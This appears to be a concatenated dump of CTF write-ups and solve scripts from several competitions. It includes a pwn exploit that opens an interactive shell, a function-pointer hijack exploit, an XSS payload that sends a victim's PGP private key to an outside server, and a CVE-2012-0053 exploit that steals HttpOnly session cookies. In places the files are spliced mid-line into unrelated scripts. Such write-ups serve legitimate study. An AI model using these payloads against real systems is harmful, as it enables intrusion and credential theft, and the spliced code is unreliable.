.............................................................................................................. 89 | .............................................................................................................. 90 | .............................................................................................................. 91 | .............................................................................................................. 92 | .............................................................................................................. 93 | .............................................................................................................. 94 | .............................................................................................................. 95 | .............................................................................................................. 96 | .............................................................................................................. 97 | ...##.........................##...##........##............................................................... 98 | ....#.........................#.....#...#....#................................................................ 99 | ...#...#.##..##..#.##..........#...#...#.#.....#.##.##........................................................ 100 | ..#.####.##...#..##.#..#.##.###...#.####.###..##.##.#......................................................... 101 | ..#.#........#.........##.#.#.....#.#.......#.........#....................................................... 102 | .##..#.......##..................##..#.....#.........##....................................................... 103 | ....##..............................##.....##................................................................. 104 | .............................................................................................................. 105 | """ 106 | 107 | grid = pattern.split() 108 | 109 | s = socket.create_connection(TARGET) 110 | for i in range(110): 111 | for j in range(110): 112 | if i < len(grid) and j < len(grid[i]) and grid[i][j] == '#': 113 | tosend ='%d,%d' % (j,i) 114 | s.send(tosend + '\n') 115 | 116 | # set ebx to 1 bit before "/bin/sh" 117 | s.send('109,59\na\n') 118 | 119 | print "Payload sent" 120 | time.sleep(8) 121 | s.send('echo win!\n') 122 | buf = '' 123 | while not buf.endswith('win!\n'): 124 | buf += s.recv(1) 125 | t = telnetlib.Telnet() 126 | t.sock = s 127 | print "Shell" 128 | t.interact() -------------------------------------------------------------------------------- /2016/defcon/quals/justintime/README.md: -------------------------------------------------------------------------------- 1 | justintime was in the pwnable which means that there is a bug that will enable reading of a 'flag' file on the filesystem. Running the program gives a prompt 'Enter command:'. Trying 'help', '?', 'h' doesn't produce any results so reverse engineering was necessary. 2 | 3 | The available commands (initialized in 0x08058740) are: 4 | 5 | * quit or q 6 | * process or p 7 | * sleep or s 8 | * wake or w 9 | * log or l 10 | 11 | Looking at the various command details and arguments the full possibilities are: 12 | 13 | * process (0x08058493) 14 | * log (0x08058384) 15 | * the other commands do not take paramaters 16 | 17 | The tasks possible are 18 | * gcd - computes the greatest common divisor 19 | * lcd - least common denominator (also known as LCM) 20 | * prime - Checks if the number(s) are prime 21 | 22 | Running various commands/reversing reveals that the program is multithreaded and has 4 workers. The main UI thread communicates with the workers through a structure and a global state variable. The structure (0x0812b580) has the following layout: 23 | ```c 24 | struct thread_cmd { 25 | uint8_t task; //identified gcd, prime, or lcd 26 | uint8_t num_arguments; 27 | uint8_t pad[2]; 28 | uint32_t arguments[4]; 29 | } commands[5]; 30 | ``` 31 | while there are structures for 5 workers, only indexes 1 through 4 are used. 32 | 33 | 34 | Inspecting how arguments are put into the structure shows something interesting: 35 | ```c 36 | eax = sub_8056cac(arg_offset_x4); 37 | if (LOBYTE(eax > 0x8 ? 0xff : 0x0) != 0x0) { 38 | sub_8081270("Too many arguments!"); 39 | eax = 0x0; 40 | } 41 | else { 42 | var_16 = sub_8056cac(arg_offset_x4) - 0x3; //Number of actual arguments 43 | *(int8_t *)(((var_20 << 0x2) + var_20 << 0x2) + 0x812b580) = LOBYTE(var_31 & 0xff); // Set the task 44 | *(int8_t *)(0x1 + ((var_20 << 0x2) + var_20 << 0x2) + 0x812b580) = LOBYTE(var_16); //Set the number of arguments... 45 | var_24 = 0x0; 46 | do { 47 | if (var_24 >= var_16) { 48 | break; 49 | } 50 | *((var_24 + (var_20 << 0x2) + var_20) * 0x4 + 0x812b584) = sub_8076280(sub_805ca90(sub_8058e1c(arg_offset_x4, var_24 + 0x3)), 0x0, 0xa); //store the argument 51 | var_24 = var_24 + 0x1; 52 | } while (true); 53 | eax = sub_807ff30("Task %s sent to worker %d\n", sub_805ca90(sub_8058e1c(arg_offset_x4, 0x2)), var_20); 54 | } 55 | goto loc_80586af; 56 | ``` 57 | This is dissassembly from Hopper, but what is happening is that it's checking the number of command line 'word', and if it's greater than 8 then it errors. But if you recall, the process command takes the worker number, the task and then arguments. So including the command process, it should only have 7 arguments if all 4 members of the struct are used - e.g. 'process 3 gcd 5 20 990 197348145'. So this could be a buffer overflow. And looking at the loop reveals that yes, there is a buffer overflow when processing the arguments. But if we think about it, the commands structure is an array so overflow would just overflow into the next workers' task number.... except for worker 4. 58 | 59 | Inspecting what is after the structure reveals the global state variable. The global state variable (0x0812b5e4) is used to indicate if the workers should process commands (=0), sleep (=1), or exit (=2). Looking at the worker thread's main function (0x08057f68) shows that the variable is checked to be 0, 1 or 2. It is then used as index into a function pointer table (0x81284c0) for the worker to do what is necessary. 60 | 61 | It's too bad the value is checked... but wait.. this is a multithreaded program! If we could get a thread to check the variable, then another thread set it to something that isn't 0,1,2; we could potentially control a function pointer! And we can make it even more likely by turning logging on which logs to disk and may cause more task switches. 62 | 63 | Since we have complete control of the index used in the function table, we can set it to a number which will then point to memory under our control - the arguments list for a worker is the perfect spot as we can put any 32 bit value in there and they are not changed until we send another command. Determining what to set the address there is the next step. Looking at the arguments passed via the function pointer call reveals that the first function argument is a pointer to the task arguments.. so we also get control of 32 bytes of data passed by pointer to a function.. why that's perfect for using system. 64 | 65 | Finding system is easy by finding cross references to the string '/bin/sh'. 66 | 67 | 68 | So the final exploit should: 69 | 70 | * Turn logging on 71 | * Set a worker's arguments to the address of system 72 | * Set another worker's arguments with 32 bytes of command for system 73 | * Overflow worker 4's arguments with the (offset state_table - &&system)/4 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /2016/defcon/quals/justintime/justintime.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | 5 | s = process('./justintime') 6 | #s = remote('justintime_f09b383db2d33ee22a5a53dc76557388.quals.shallweplayaga.me',5192) 7 | 8 | def send_overflow(offset): 9 | offset &= 0xffffffff 10 | offset /= 4 11 | s.send('process 4 gcd 1 1 1 1 %d\n' % offset) 12 | 13 | def busy_worker(num): 14 | #Number is large prime 15 | s.send('process %d prime 3628273133\n' % num) 16 | 17 | def send_addr(addr): 18 | #Send the address... and the command 19 | v = list(struct.unpack("(.+) =", response.text)[0] 16 | answer = eval(challenge) 17 | except: 18 | print response.text 19 | return 20 | 21 | response = requests.post(link, headers=headers, data={"result" : answer}) 22 | for link_2 in get_links(response.text): 23 | if link_2 not in visited: 24 | visited.append(link_2) 25 | solve_challenge(url + link_2, spacing + 1) 26 | 27 | def get_links(text): 28 | links = [] 29 | for line in text.split(' '): 30 | res = re.search("href=([^>]+)>", line) 31 | if res != None: 32 | links.append(res.group(1)) 33 | 34 | return links 35 | 36 | response = requests.get(url, headers=headers) 37 | 38 | for link in get_links(response.text): 39 | solve_challenge(url + link) 40 | -------------------------------------------------------------------------------- /2016/hack.lu/redacted/README.md: -------------------------------------------------------------------------------- 1 | # redacted 2 | 3 | We're given an SSH private keys, but some of the characters in the base64 string are replaced with x's. Luckily, it looks like while the modulus was partially lost, all of `p` and `q` were intact. I used `openssl asn1parse -in someotherkey.pem` to give me the offsets of `p` and `q` in another key, and I extracted them with python. Then I used the following script to recreate a working SSH key: 4 | 5 | ``` 6 | #!/usr/bin/env python2 7 | 8 | import gmpy 9 | from Crypto.PublicKey import RSA 10 | 11 | p = 160715260849342318931136112813341037345926969012288227225240875622403009493539093929333081548188459992247771680452063593583756278915740193557402138743266217376005578973188641800583345510266770139969709567420846366801788060791738229180205729066714584288249507088921482835100030743352147986722422517067206563539 12 | 13 | q = 156522822773738162417254450203271175855220146400024771706084276654684994055624152101542626647589634389361232150411812572776336649201321449632016603858688896275125914484326556417817195311471437215701390750315213065194536381852437122083849274951300180499399546807140772435452395099516509211865918104434503784667 14 | 15 | n = long(p*q) 16 | phi = (p-1)*(q-1) 17 | 18 | e = long(0x10001) 19 | 20 | d = long(gmpy.invert(e, phi)) 21 | 22 | rsa = RSA.construct((n, e, d)) 23 | open('key', 'w').write(rsa.exportKey()) 24 | ``` 25 | 26 | I was then able to run `ssh -p 1504 -i key berlin@cthulhu.fluxfingers.net` to get the flag: flag{thought_ssh_privkeys_are_secure?} 27 | -------------------------------------------------------------------------------- /2016/hack.lu/redacted/redacted_6175ab865421ca2c83b7c77d7ee521f3: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/0qc146UXXbxxxxxxxxxxxxxxWe9 3 | AR1kOzxxxxxxxxxxxxxxxxxxxxxxxMSSCxxxxxxxxxxxxxxxx8cCovIcAOZxFEaF 4 | cja1wxEG5MHT7lvXx4U0Kq22p9F2337ct84deN/pkoV+GjRzB1YYbKTCAN7CqX8z 5 | s2x4n9e7WGb71o6D2CPq5kyeLXQPLwnQODs51RqusZCFjoo7atnLq42TWqG9AdHL 6 | uiOK9N+EVdfXicce5gkfcR52b2M6BCD1MK23BJUGYHCgcHP8sB0hzC/VZI2fVHXX 7 | aWl9PjJYaDFauOUOc1APTC0LhUjOOOATOClOgQIDAQABAoIBADBbgjpOT03t/c07 8 | AFXZ/5SUZrtovlhwGngfkdeykEbpR7Lemd9LYqd9lgWPgRqPNzFHah81SFKAOTjV 9 | ext1kpsVVtLF6w3mMm6pPNqOJn2Rbp+c/YVaAYH0/9dDskqFvzeL+7zfqxPOoSpb 10 | fvSb8EsFC4mjG5cAY2nEWukCkpHjD3ibP9PatM07O4i3SJCzV+7A8AdTWyVYxXYE 11 | reNlIsOc/iK6ukOUB0eAWdYwdH11LfUh+I9EoP7SiNmOJUhAolm0bUUbuOFg8llG 12 | hexo/2zvLbtWMTT0TesObUZ+jr+VUW1R76exC7sPIKSmzZxSWZ1nBj3IwHoKSFic 13 | 9exaMoECgYEA5N26lsHLxPQSBO5vwW4UgwQ4ru5LvSGvXOiN/SWhLyqaJplO76Dm 14 | vtBKwuKb9jm0yPl1rYhvMRXsXjhMxowf19fbY8xj9jRhUoCccdImIj19aZDK5k38 15 | FvF0+hpu5Gslr6/885NqYdPyxp1s7plP7/jy8KcGOEIBENMD0HWrFtMCgYEA3uVZ 16 | mJR7/bdcfjSbx2oWc6jEG2KSnCQsDj0MgIc4lyUY+GOTBLM0DWqIUQzFJON5Y6Qt 17 | Bjj2BVcqp7k+2gfcKUVxGPqamQBi8F0AJdVGfT7fjbRIzxLtSrZ5Z75wwqVhezCF 18 | 0OFRNX1jseyktTdG/L5YbNyKRAXPr3GfPwETGNsCgYAGGrPjWX/p3OiuIP3yFtGN 19 | PQuV/t0eSku3GqzO17YY3/YEmYo1cgE1jbCwygKG6rsbsSumWUE9+eu4B6Bkm1Au 20 | HZ/IZac05ejCnpONpaFGwIUbz7TZt7LFmeMY2KOkjAcRTIxeosvvmAudqI1DP+uV 21 | 5vnz2UCdN4V3wWkUok7R6QKBgHxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxT6C7P 22 | llmidv5e20lDU/1K7c8W2AwcL/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxVOq/ 23 | qAoRtxxxxxxxxxxxxxxxxxxxxxxxxxxOCmw5gRCOaV1FWYgL/yLIaxpveyvDQqJO 24 | D7Txxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx4hURSon01 25 | inkWPUeuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx3viEr8n 26 | 6D/CGT26DVZNh0Y3+ol1IKap3z6EP6s8BRJWECcj7x3+0XmDrQ0= 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /2016/hack.lu/redacted/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import gmpy 4 | from Crypto.PublicKey import RSA 5 | 6 | p = 160715260849342318931136112813341037345926969012288227225240875622403009493539093929333081548188459992247771680452063593583756278915740193557402138743266217376005578973188641800583345510266770139969709567420846366801788060791738229180205729066714584288249507088921482835100030743352147986722422517067206563539 7 | 8 | q = 156522822773738162417254450203271175855220146400024771706084276654684994055624152101542626647589634389361232150411812572776336649201321449632016603858688896275125914484326556417817195311471437215701390750315213065194536381852437122083849274951300180499399546807140772435452395099516509211865918104434503784667 9 | 10 | n = long(p*q) 11 | phi = (p-1)*(q-1) 12 | 13 | e = long(0x10001) 14 | 15 | d = long(gmpy.invert(e, phi)) 16 | 17 | rsa = RSA.construct((n, e, d)) 18 | open('key', 'w').write(rsa.exportKey()) 19 | -------------------------------------------------------------------------------- /2016/hack.lu/simplepdf/README.md: -------------------------------------------------------------------------------- 1 | # simplepdf 2 | 3 | The given PDF seemed to have some data in stream 6, so I extracted that stream out to a new file. The stream was another PDF file, so I repeated the process. I eventually realized that there were many PDFs nested in stream 6. 4 | 5 | I originally used `dumppdf` to recursively extract the PDFs, but this was slow, so I manually dumped them with zlib: 6 | 7 | ``` python 8 | #!/usr/bin/env python2 9 | 10 | import zlib 11 | 12 | f = open('simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf').read() 13 | open('dump.pdf', 'w').write(f) 14 | 15 | while True: 16 | f = open('dump.pdf').read() 17 | index = f.find('6 0 obj') 18 | start_index = f.find('/Length', index) 19 | end_index = f.find('\n', start_index) 20 | length = int(f[start_index + 8:end_index].strip()) 21 | stream = f.find('stream', end_index) 22 | new_file = f[stream + 7:stream + 7 + length] 23 | open('dump.pdf', 'w').write(zlib.decompress(new_file)) 24 | ``` 25 | 26 | After running the script, you will have a PDF with the flag: flag{pdf_packing_is_fun} 27 | -------------------------------------------------------------------------------- /2016/hack.lu/simplepdf/simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samuraictf/writeups/2c83cdcde319cf93b7e79cb57b37e109cab6053c/2016/hack.lu/simplepdf/simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf -------------------------------------------------------------------------------- /2016/hack.lu/simplepdf/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import zlib 4 | 5 | f = open('simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf').read() 6 | open('dump.out', 'w').write(f) 7 | 8 | while True: 9 | f = open('dump.out').read() 10 | index = f.find('6 0 obj') 11 | start_index = f.find('/Length', index) 12 | end_index = f.find('\n', start_index) 13 | length = int(f[start_index + 8:end_index].strip()) 14 | stream = f.find('stream', end_index) 15 | new_file = f[stream + 7:stream + 7 + length] 16 | open('dump.out', 'w').write(zlib.decompress(new_file)) 17 | -------------------------------------------------------------------------------- /2016/rc3/cachet.md: -------------------------------------------------------------------------------- 1 | #### Cachet, a web challenge from RC3 CTF 2016 2 | --- 3 | 4 | Cachet was a messaging service where the user can send messages (encrypted and decrypted on the client) to others. A PIN, verified by the server, is required before you can view an encrypted message. 5 | 6 | The source code for the challenge itself is available at https://drive.google.com/file/d/0B3HqJpgroLZxMHBGU1QtcVc4UUU/view. 7 | 8 | tl;dr: XSS the user to get their private key, abuse an old Apache server on another port to get the HttpOnly cookie and thus the encrypted flag. 9 | 10 | We quickly found an XSS vulnerability in the PGP message itself. This is only sent to the client after the PIN is confirmed, but this turned out to be irrelevant. 11 | 12 | Our first payload attempted to steal the PGP key by hooking `onkeypress`, but the bot did not trigger this, so we instead overwrote the `decryptMessage()` function: 13 | ```javascript 14 | function decryptMessage() { 15 | $.ajax({ 16 | url: "http://xx.xx.xx.xx/recv.php", 17 | data: {x: $("#privkey").val(), y: $("#msg-subject").val()}, 18 | }); 19 | } 20 | ``` 21 | 22 | Having the private key, we now needed the message to decrypt. After retrieving the list of messages from `read.php`, we saw the flag was in message #2 and the PIN was Julian Assange's birthday (as indicated by their subjects). We first tried simply retrieving message #2, but the application checked the `Referer` header to ensure the request was coming from the right page. Since we were coming from a different message, this check was failing. You cannot overwrite the `Referer` header in an AJAX request, and the cookies were marked HttpOnly, so we were temporarily stuck. 23 | 24 | Eventually, we discovered a development server running on port 8080. While this was a non-functional version of the application, it was running an old version of Apache. It also had an `Access-Control-Allow-Origin` header set to the original site, allowing us to make AJAX requests (with cookies!) to it. This particular version of Apache was vulnerable to CVE-2012-0053, a vulnerability that will echo back sent cookies if you exceed Apache's header size limit. This allowed us to compromise the session cookie, which is marked HttpOnly, for the user using a modified exploit: 25 | ```javascript 26 | function setCookies (good) { 27 | // Construct string for cookie value 28 | var str = ""; 29 | for (var i=0; i< 819; i++) { 30 | str += "x"; 31 | } 32 | // Set cookies 33 | for (i = 0; i < 10; i++) { 34 | // Expire evil cookie 35 | if (good) { 36 | var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;"; 37 | } 38 | // Set evil cookie 39 | else { 40 | var cookie = "xss"+i+"="+str+";path=/"; 41 | } 42 | document.cookie = cookie; 43 | } 44 | } 45 | 46 | function makeRequest() { 47 | setCookies(); 48 | 49 | function parseCookies () { 50 | var cookie_dict = {}; 51 | // Only react on 400 status 52 | if (xhr.readyState === 4 && xhr.status === 400) { 53 | // Replace newlines and match
 content
54 |             var content = xhr.responseText.replace(/\r|\n/g,'').match(/
(.+)<\/pre>/);
55 |             if (content.length) {
56 |                 // Remove Cookie: prefix
57 |                 content = content[1].replace("Cookie: ", "");
58 |                 var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
59 |                 // Add cookies to object
60 |                 for (var i=0; i 
43 | PCTF{th3_re4l_tr34sure_w4s_the_bonz_we_m4d3_along_the_w4y}
44 | ```


--------------------------------------------------------------------------------
/2020/plaid/bonzischeme/acs.py:
--------------------------------------------------------------------------------
  1 | # This is a generated file! Please edit source .ksy file and use kaitai-struct-compiler to rebuild
  2 | 
  3 | from pkg_resources import parse_version
  4 | from kaitaistruct import __version__ as ks_version, KaitaiStruct, KaitaiStream, BytesIO
  5 | 
  6 | 
  7 | if parse_version(ks_version) < parse_version('0.7'):
  8 |     raise Exception("Incompatible Kaitai Struct Python API: 0.7 or later is required, but you have %s" % (ks_version))
  9 | 
 10 | class Acs(KaitaiStruct):
 11 |     def __init__(self, _io, _parent=None, _root=None):
 12 |         self._io = _io
 13 |         self._parent = _parent
 14 |         self._root = _root if _root else self
 15 |         self._read()
 16 | 
 17 |     def _read(self):
 18 |         self.header = self._root.AcsFileHeader(self._io, self, self._root)
 19 | 
 20 |     class Localizedinfo(KaitaiStruct):
 21 |         def __init__(self, _io, _parent=None, _root=None):
 22 |             self._io = _io
 23 |             self._parent = _parent
 24 |             self._root = _root if _root else self
 25 |             self._read()
 26 | 
 27 |         def _read(self):
 28 |             self.langid = self._io.read_u2le()
 29 |             self.name = self._root.String(self._io, self, self._root)
 30 |             self.desc = self._root.String(self._io, self, self._root)
 31 |             self.extra = self._root.String(self._io, self, self._root)
 32 | 
 33 | 
 34 |     class Voiceinfo(KaitaiStruct):
 35 |         def __init__(self, _io, _parent=None, _root=None):
 36 |             self._io = _io
 37 |             self._parent = _parent
 38 |             self._root = _root if _root else self
 39 |             self._read()
 40 | 
 41 |         def _read(self):
 42 |             self.tts_engine_id = self._root.Guid(self._io, self, self._root)
 43 |             self.tts_mode_id = self._root.Guid(self._io, self, self._root)
 44 |             self.speed = self._io.read_u4le()
 45 |             self.pitch = self._io.read_u2le()
 46 |             self.extra_data = self._io.read_u1()
 47 |             if self.extra_data == 1:
 48 |                 self.lang_id = self._io.read_u2le()
 49 | 
 50 |             if self.extra_data == 1:
 51 |                 self.lang_dialect = self._root.String(self._io, self, self._root)
 52 | 
 53 |             if self.extra_data == 1:
 54 |                 self.gender = self._io.read_u2le()
 55 | 
 56 |             if self.extra_data == 1:
 57 |                 self.age = self._io.read_u2le()
 58 | 
 59 |             if self.extra_data == 1:
 60 |                 self.style = self._root.String(self._io, self, self._root)
 61 | 
 62 | 
 63 | 
 64 |     class Guid(KaitaiStruct):
 65 |         def __init__(self, _io, _parent=None, _root=None):
 66 |             self._io = _io
 67 |             self._parent = _parent
 68 |             self._root = _root if _root else self
 69 |             self._read()
 70 | 
 71 |         def _read(self):
 72 |             self.data1 = self._io.read_u4le()
 73 |             self.data2 = self._io.read_u2le()
 74 |             self.data3 = self._io.read_u2le()
 75 |             self.data4 = [None] * (8)
 76 |             for i in range(8):
 77 |                 self.data4[i] = self._io.read_u1()
 78 | 
 79 | 
 80 | 
 81 |     class AcsFileHeader(KaitaiStruct):
 82 |         def __init__(self, _io, _parent=None, _root=None):
 83 |             self._io = _io
 84 |             self._parent = _parent
 85 |             self._root = _root if _root else self
 86 |             self._read()
 87 | 
 88 |         def _read(self):
 89 |             self.magic = self._io.ensure_fixed_contents(b"\xC3\xAB\xCD\xAB")
 90 |             self.character_info_loc = self._root.Acslocator(self._io, self, self._root)
 91 |             self.animation_info_loc = self._root.Acslocator(self._io, self, self._root)
 92 |             self.image_info_loc = self._root.Acslocator(self._io, self, self._root)
 93 |             self.audio_info_loc = self._root.Acslocator(self._io, self, self._root)
 94 | 
 95 |         @property
 96 |         def character_info(self):
 97 |             if hasattr(self, '_m_character_info'):
 98 |                 return self._m_character_info if hasattr(self, '_m_character_info') else None
 99 | 
100 |             _pos = self._io.pos()
101 |             self._io.seek(self.character_info_loc.offset)
102 |             self._m_character_info = self._root.Acscharacterinfo(self._io, self, self._root)
103 |             self._io.seek(_pos)
104 |             return self._m_character_info if hasattr(self, '_m_character_info') else None
105 | 
106 |         @property
107 |         def image_info(self):
108 |             if hasattr(self, '_m_image_info'):
109 |                 return self._m_image_info if hasattr(self, '_m_image_info') else None
110 | 
111 |             _pos = self._io.pos()
112 |             self._io.seek(self.image_info_loc.offset)
113 |             self._m_image_info = self._root.AcsImageInfoArr(self._io, self, self._root)
114 |             self._io.seek(_pos)
115 |             return self._m_image_info if hasattr(self, '_m_image_info') else None
116 | 
117 | 
118 |     class String(KaitaiStruct):
119 |         def __init__(self, _io, _parent=None, _root=None):
120 |             self._io = _io
121 |             self._parent = _parent
122 |             self._root = _root if _root else self
123 |             self._read()
124 | 
125 |         def _read(self):
126 |             self.size = self._io.read_u4le()
127 |             if self.size > 0:
128 |                 self.data = (self._io.read_bytes(((self.size + 1) * 2))).decode(u"UTF-16LE")
129 | 
130 | 
131 | 
132 |     class Acslocator(KaitaiStruct):
133 |         def __init__(self, _io, _parent=None, _root=None):
134 |             self._io = _io
135 |             self._parent = _parent
136 |             self._root = _root if _root else self
137 |             self._read()
138 | 
139 |         def _read(self):
140 |             self.offset = self._io.read_u4le()
141 |             self.length = self._io.read_u4le()
142 | 
143 | 
144 |     class ImageInfo(KaitaiStruct):
145 |         def __init__(self, _io, _parent=None, _root=None):
146 |             self._io = _io
147 |             self._parent = _parent
148 |             self._root = _root if _root else self
149 |             self._read()
150 | 
151 |         def _read(self):
152 |             self.unk = self._io.read_u1()
153 |             self.width = self._io.read_u2le()
154 |             self.height = self._io.read_u2le()
155 |             self.compressed = self._io.read_u1()
156 |             self.data = self._root.DataBlock(self._io, self, self._root)
157 |             self.sz_compressed = self._io.read_u4le()
158 |             self.sz_uncompressed = self._io.read_u4le()
159 |             self.region_data = [None] * (self.sz_compressed)
160 |             for i in range(self.sz_compressed):
161 |                 self.region_data[i] = self._io.read_u1()
162 | 
163 | 
164 | 
165 |     class AcsImageInfoArr(KaitaiStruct):
166 |         def __init__(self, _io, _parent=None, _root=None):
167 |             self._io = _io
168 |             self._parent = _parent
169 |             self._root = _root if _root else self
170 |             self._read()
171 | 
172 |         def _read(self):
173 |             self.count = self._io.read_u4le()
174 |             self.arr = [None] * (self.count)
175 |             for i in range(self.count):
176 |                 self.arr[i] = self._root.AcsImageInfo(self._io, self, self._root)
177 | 
178 | 
179 | 
180 |     class Localizedinfoarr(KaitaiStruct):
181 |         def __init__(self, _io, _parent=None, _root=None):
182 |             self._io = _io
183 |             self._parent = _parent
184 |             self._root = _root if _root else self
185 |             self._read()
186 | 
187 |         def _read(self):
188 |             self.count = self._io.read_u2le()
189 |             self.arr = [None] * (self.count)
190 |             for i in range(self.count):
191 |                 self.arr[i] = self._root.Localizedinfo(self._io, self, self._root)
192 | 
193 | 
194 | 
195 |     class DataBlock(KaitaiStruct):
196 |         def __init__(self, _io, _parent=None, _root=None):
197 |             self._io = _io
198 |             self._parent = _parent
199 |             self._root = _root if _root else self
200 |             self._read()
201 | 
202 |         def _read(self):
203 |             self.size = self._io.read_u4le()
204 |             self.data = [None] * (self.size)
205 |             for i in range(self.size):
206 |                 self.data[i] = self._io.read_u1()
207 | 
208 | 
209 | 
210 |     class Ballooninfo(KaitaiStruct):
211 |         def __init__(self, _io, _parent=None, _root=None):
212 |             self._io = _io
213 |             self._parent = _parent
214 |             self._root = _root if _root else self
215 |             self._read()
216 | 
217 |         def _read(self):
218 |             self.num_lines = self._io.read_u1()
219 |             self.chars_per_line = self._io.read_u1()
220 |             self.foreground = self._io.read_u4le()
221 |             self.background = self._io.read_u4le()
222 |             self.border = self._io.read_u4le()
223 |             self.font_name = self._root.String(self._io, self, self._root)
224 |             self.font_height = self._io.read_u4le()
225 |             self.font_weight = self._io.read_u4le()
226 |             self.italic_flag = self._io.read_u1()
227 |             self.other_flag = self._io.read_u1()
228 | 
229 | 
230 |     class AcsImageInfo(KaitaiStruct):
231 |         def __init__(self, _io, _parent=None, _root=None):
232 |             self._io = _io
233 |             self._parent = _parent
234 |             self._root = _root if _root else self
235 |             self._read()
236 | 
237 |         def _read(self):
238 |             self.loc = self._root.Acslocator(self._io, self, self._root)
239 |             self.checksum = self._io.read_u4le()
240 | 
241 |         @property
242 |         def body(self):
243 |             if hasattr(self, '_m_body'):
244 |                 return self._m_body if hasattr(self, '_m_body') else None
245 | 
246 |             _pos = self._io.pos()
247 |             self._io.seek(self.loc.offset)
248 |             self._m_body = self._root.ImageInfo(self._io, self, self._root)
249 |             self._io.seek(_pos)
250 |             return self._m_body if hasattr(self, '_m_body') else None
251 | 
252 | 
253 |     class Acscharacterinfo(KaitaiStruct):
254 |         def __init__(self, _io, _parent=None, _root=None):
255 |             self._io = _io
256 |             self._parent = _parent
257 |             self._root = _root if _root else self
258 |             self._read()
259 | 
260 |         def _read(self):
261 |             self.minor = self._io.read_u2le()
262 |             self.major = self._io.read_u2le()
263 |             self.localized_info_loc = self._root.Acslocator(self._io, self, self._root)
264 |             self.guid = self._root.Guid(self._io, self, self._root)
265 |             self.width = self._io.read_u2le()
266 |             self.height = self._io.read_u2le()
267 |             self.transparent_idx = self._io.read_u1()
268 |             self.flags = self._io.read_u4le()
269 |             self.animation_maj = self._io.read_u2le()
270 |             self.animation_min = self._io.read_u2le()
271 |             self.voiceinfo = self._root.Voiceinfo(self._io, self, self._root)
272 |             self.ballooninfo = self._root.Ballooninfo(self._io, self, self._root)
273 |             self.palette_len = self._io.read_u4le()
274 |             self.palette = [None] * ((self.palette_len * 4))
275 |             for i in range((self.palette_len * 4)):
276 |                 self.palette[i] = self._io.read_u1()
277 | 
278 | 
279 |         @property
280 |         def localized_info(self):
281 |             if hasattr(self, '_m_localized_info'):
282 |                 return self._m_localized_info if hasattr(self, '_m_localized_info') else None
283 | 
284 |             _pos = self._io.pos()
285 |             self._io.seek(self.localized_info_loc.offset)
286 |             self._m_localized_info = self._root.Localizedinfoarr(self._io, self, self._root)
287 |             self._io.seek(_pos)
288 |             return self._m_localized_info if hasattr(self, '_m_localized_info') else None
289 | 
290 | 
291 | 
292 | 


--------------------------------------------------------------------------------
/2020/plaid/bonzischeme/bonz.acs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/samuraictf/writeups/2c83cdcde319cf93b7e79cb57b37e109cab6053c/2020/plaid/bonzischeme/bonz.acs


--------------------------------------------------------------------------------
/2020/plaid/bonzischeme/f4e13b63-d5b9-456b-a12f-0645543bcaad.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/samuraictf/writeups/2c83cdcde319cf93b7e79cb57b37e109cab6053c/2020/plaid/bonzischeme/f4e13b63-d5b9-456b-a12f-0645543bcaad.bmp


--------------------------------------------------------------------------------
/2020/plaid/bonzischeme/newbonz.acs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/samuraictf/writeups/2c83cdcde319cf93b7e79cb57b37e109cab6053c/2020/plaid/bonzischeme/newbonz.acs


--------------------------------------------------------------------------------
/2020/plaid/bonzischeme/soln.py:
--------------------------------------------------------------------------------
 1 | from struct import pack,unpack
 2 | from math import log, ceil
 3 | import bitstring
 4 | import acs
 5 | 
 6 | # this is from the challenge
 7 | def bitstream_to_bytes(data_bitstream, offset, length):
 8 |     data_bytes = data_bitstream[offset:offset+length]
 9 | 
10 |     for i in range(0, len(data_bytes), 8):
11 |         data_bytes.reverse(i, min(len(data_bytes), i+8))
12 | 
13 |     if len(data_bytes) % 8 != 0:
14 |         # FIXME not sure, original seems wrong
15 |         # data_bytes.prepend("0b" + "0"*(8-(len(data_bytes) % 8)))
16 |         data_bytes.append("0b" + "1"*(8-(len(data_bytes) % 8)))
17 | 
18 |     return data_bytes.bytes
19 | 
20 | def rato(d, o, n):
21 |     ''' replace at offset '''
22 |     return d[:o]+n+d[o+len(n):]
23 | 
24 | def bin(i,n):
25 |     ''' fix builtin '''
26 |     return __builtins__.bin(i)[2:].rjust(n,'0')
27 | 
28 | def mk_off(off):
29 |     ''' from compression spec '''
30 |     bs=''
31 |     bits = ceil(log(off,2))
32 |     if bits<=6: bs+='0';d=0x1;b=6
33 |     elif bits<=9: bs+='10';d=0x41;b=9
34 |     elif bits<=12: bs+='110';d=0x241;b=12
35 |     elif bits<=20: bs+='111';d=0x1241;b=20
36 |     bs+=bin(off-d, b)[::-1] # yeah let's do bit streams backwards
37 |     return bs
38 | 
39 | def mk_cnt(count):
40 |     ''' from compression spec '''
41 |     bits = ceil(log(count,2))-1
42 |     count-=2
43 |     bs =('1'*bits+'0')
44 |     bs+=bin(count-(2**bits-1),bits)[::-1] # yeah let's do bit streams backwards
45 |     return bs
46 | 
47 | 
48 | with open('./bonz.acs', 'rb') as f:
49 |     bonz = f.read()
50 | 
51 | acs = acs.Acs.from_bytes(bonz)
52 | 
53 | SIZE = 59*2 # flag size unicode
